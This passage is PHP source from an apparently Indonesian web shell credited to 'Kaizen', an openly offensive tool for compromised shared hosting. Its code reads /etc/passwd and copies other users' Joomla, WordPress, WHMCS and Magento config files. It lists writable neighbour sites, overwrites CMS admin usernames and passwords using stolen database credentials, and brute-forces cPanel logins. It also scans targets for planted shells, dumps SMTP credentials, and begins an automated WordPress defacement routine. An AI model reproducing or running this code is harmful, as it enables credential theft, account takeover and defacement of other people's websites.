"/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
"/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
"/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
"/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
"/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
"/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
"/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
"/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home2/$user_cox/public_html/wp-config.php" => "WordPress",
"/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
"/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
"/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
"/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
"/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
"/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
"/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
"/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
"/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
"/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
"/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
"/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
"/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
"/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
"/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
"/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
"/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
"/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
"/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
"/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
"/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
"/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
"/home3/$user_cox/.my.cnf" => "cpanel",
"/home3/$user_cox/.accesshash" => "WHM-accesshash",
"/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
"/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
"/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
"/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
"/home3/$user_cox/public_html/forum/config.php" => "phpBB",
"/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
"/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
"/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
"/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
"/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
"/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
"/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
"/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
"/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
"/home3/$user_cox/public_html/configuration.php" => "Joomla",
"/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
"/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
"/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
"/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
"/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
"/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
"/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
"/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
"/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
"/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
"/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
"/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
"/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
"/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
"/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
"/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
"/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
"/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
"/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
"/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
"/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
"/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
"/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home3/$user_cox/public_html/wp-config.php" => "WordPress",
"/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
"/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
"/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
"/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
"/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
"/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
"/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
"/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
"/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
"/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
"/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
"/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
"/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
"/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
"/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
"/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
"/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
"/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
"/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
"/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
"/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
"/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
);
foreach($grab_config as $config => $nama_config) {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("Kz_config/$user_cox-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
echo "<center><a href='?dir=$dir/Kz_config'><font color=lime>Done</font></a></center>";
}else{
echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>
";
echo file_get_contents('/etc/passwd');
echo "</textarea><br><input type=\"submit\" value=\"Start\"></td></tr></center>
";
}
} elseif($_GET['do'] == 'jumping') {
$i = 0;
echo "<pre><div class='margin: 5px auto;'>";
$etc = fopen("/etc/passwd", "r");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_idx_jump) {
$user_jumping_dir = "/home/$user_idx_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
}
echo $jrw;
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>not put domain name</font> )<br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_idx_jump) {
echo " => ( <u>$dj</u> )<br>";
break;
}
}
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total Found ".$i." at ".gethostbyname($_SERVER['HTTP_HOST'])."";
}
echo "</div></pre>";
} elseif($_GET['do'] == 'auto_edit_user') {
if($_POST['hajar']) {
if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
echo "username atau password harus lebih dari 6 karakter";
} else {
$user_baru = $_POST['user_baru'];
$pass_baru = md5($_POST['pass_baru']);
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/JConfig|joomla/",$config)) {
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Joomla<br>";
if($site == '') {
echo "Sitename => <font color=red>error, not put domain name</font><br>";
} else {
echo "Sitename => $site<br>";
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/WordPress/",$config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
$url_target = "Login => <font color=red>error, not put domain name</font><br>";
} else {
$url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Wordpress<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/Magento|Mage_Core/",$config)) {
$dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
$dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
$dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
$dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
$dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
$prefix = $dbprefix."admin_user";
$option = $dbprefix."core_config_data";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
$result2 = mysql_fetch_array($q2);
$target = $result2[value];
if($target == '') {
$url_target = "Login => <font color=red>error, not put domain name</font><br>";
} else {
$url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Magento<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
$dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
$dbuser = ambilkata($config,"'DB_USERNAME', '","'");
$dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
$dbname = ambilkata($config,"'DB_DATABASE', '","'");
$dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
$prefix = $dbprefix."user";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$target = ambilkata($config,"HTTP_SERVER', '","'");
if($target == '') {
$url_target = "Login => <font color=red>error, not put domain name</font><br>";
} else {
$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => OpenCart<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
$dbhost = ambilkata($config,'server = "','"');
$dbuser = ambilkata($config,'username = "','"');
$dbpass = ambilkata($config,'password = "','"');
$dbname = ambilkata($config,'database = "','"');
$prefix = "users";
$option = "identitas";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
$result = mysql_fetch_array($q);
$target = $result[alamat_website];
if($target == '') {
$target2 = $result[url];
$url_target = "Login => <font color=red>error, not put domain name</font><br>";
if($target2 == '') {
$url_target2 = "Login => <font color=red>error, not put domain name</font><br>";
} else {
$cek_login3 = file_get_contents("$target2/adminweb/");
$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
$url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
$url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
} else {
$url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
} else {
$cek_login = file_get_contents("$target/adminweb/");
$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
$url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
$url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
} else {
$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Lokomedia<br>";
if(preg_match('/error, not put domain name/', $url_target)) {
echo $url_target2;
} else {
echo $url_target;
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center>
<h1>Auto Edit User Config</h1>
<form method='post'>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set User & Pass: <br>
<input type='text' name='user_baru' value='Kaizen' placeholder='user_baru'><br>
<input type='text' name='pass_baru' value='Kaizen' placeholder='pass_baru'><br>
<input type='submit' name='hajar' value='Start' style='width: 215px;'>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
}elseif($_GET['do'] == 'shelscan') {
echo'<center><h2>Shell Finder</h2>
<form action="" method="post">
<input type="text" size="50" name="traget" value="http://www.site.com/"/>
<br>
<input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
</form><br>';
if (isset($_POST["scan"])) {
$url = $_POST['traget'];
echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
echo "Result :<br />";
$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
foreach ($shells as $shell){
$headers = get_headers("$url$shell"); //
if (eregi('200', $headers[0])) {
echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done</span><br /><br/><br/>"; //
$dz = fopen('shells.txt', 'a+');
$suck = "$url$shell";
fwrite($dz, $suck."
");
}
}
echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
}
}
elseif($_GET['do'] == 'cpanel') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
$i++;
echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>Nyolong ".$i." Cpanel By <font color=lime>Kaizen</font>";
}
} else {
echo "<center>
<form method='post'>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Crack'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
}
} elseif($_GET['do'] == 'smtp') {
echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
function scj($dir) {
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
$ambil = str_replace("$", "", $ambil);
if(preg_match("/JConfig|joomla/", $ambil)) {
$smtp_host = ambilkata($ambil,"smtphost = '","'");
$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
$smtp_user = ambilkata($ambil,"smtpuser = '","'");
$smtp_pass = ambilkata($ambil,"smtppass = '","'");
$smtp_port = ambilkata($ambil,"smtpport = '","'");
$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
echo "SMTP port: <font color=lime>$smtp_port</font><br>";
echo "SMTP user: <font color=lime>$smtp_user</font><br>";
echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
}
}
}
$smpt_hunter = scj($dir);
echo $smpt_hunter;
} elseif($_GET['do'] == 'auto_wp') {
if($_POST['hajar']) {
$title = htmlspecialchars($_POST['new_title']);
$pn_title = str_replace(" ", "-", $title);
if($_POST['cek_edit'] == "Y") {
$script = $_POST['edit_content'];
} else {
$script = $title;
}
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."posts";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
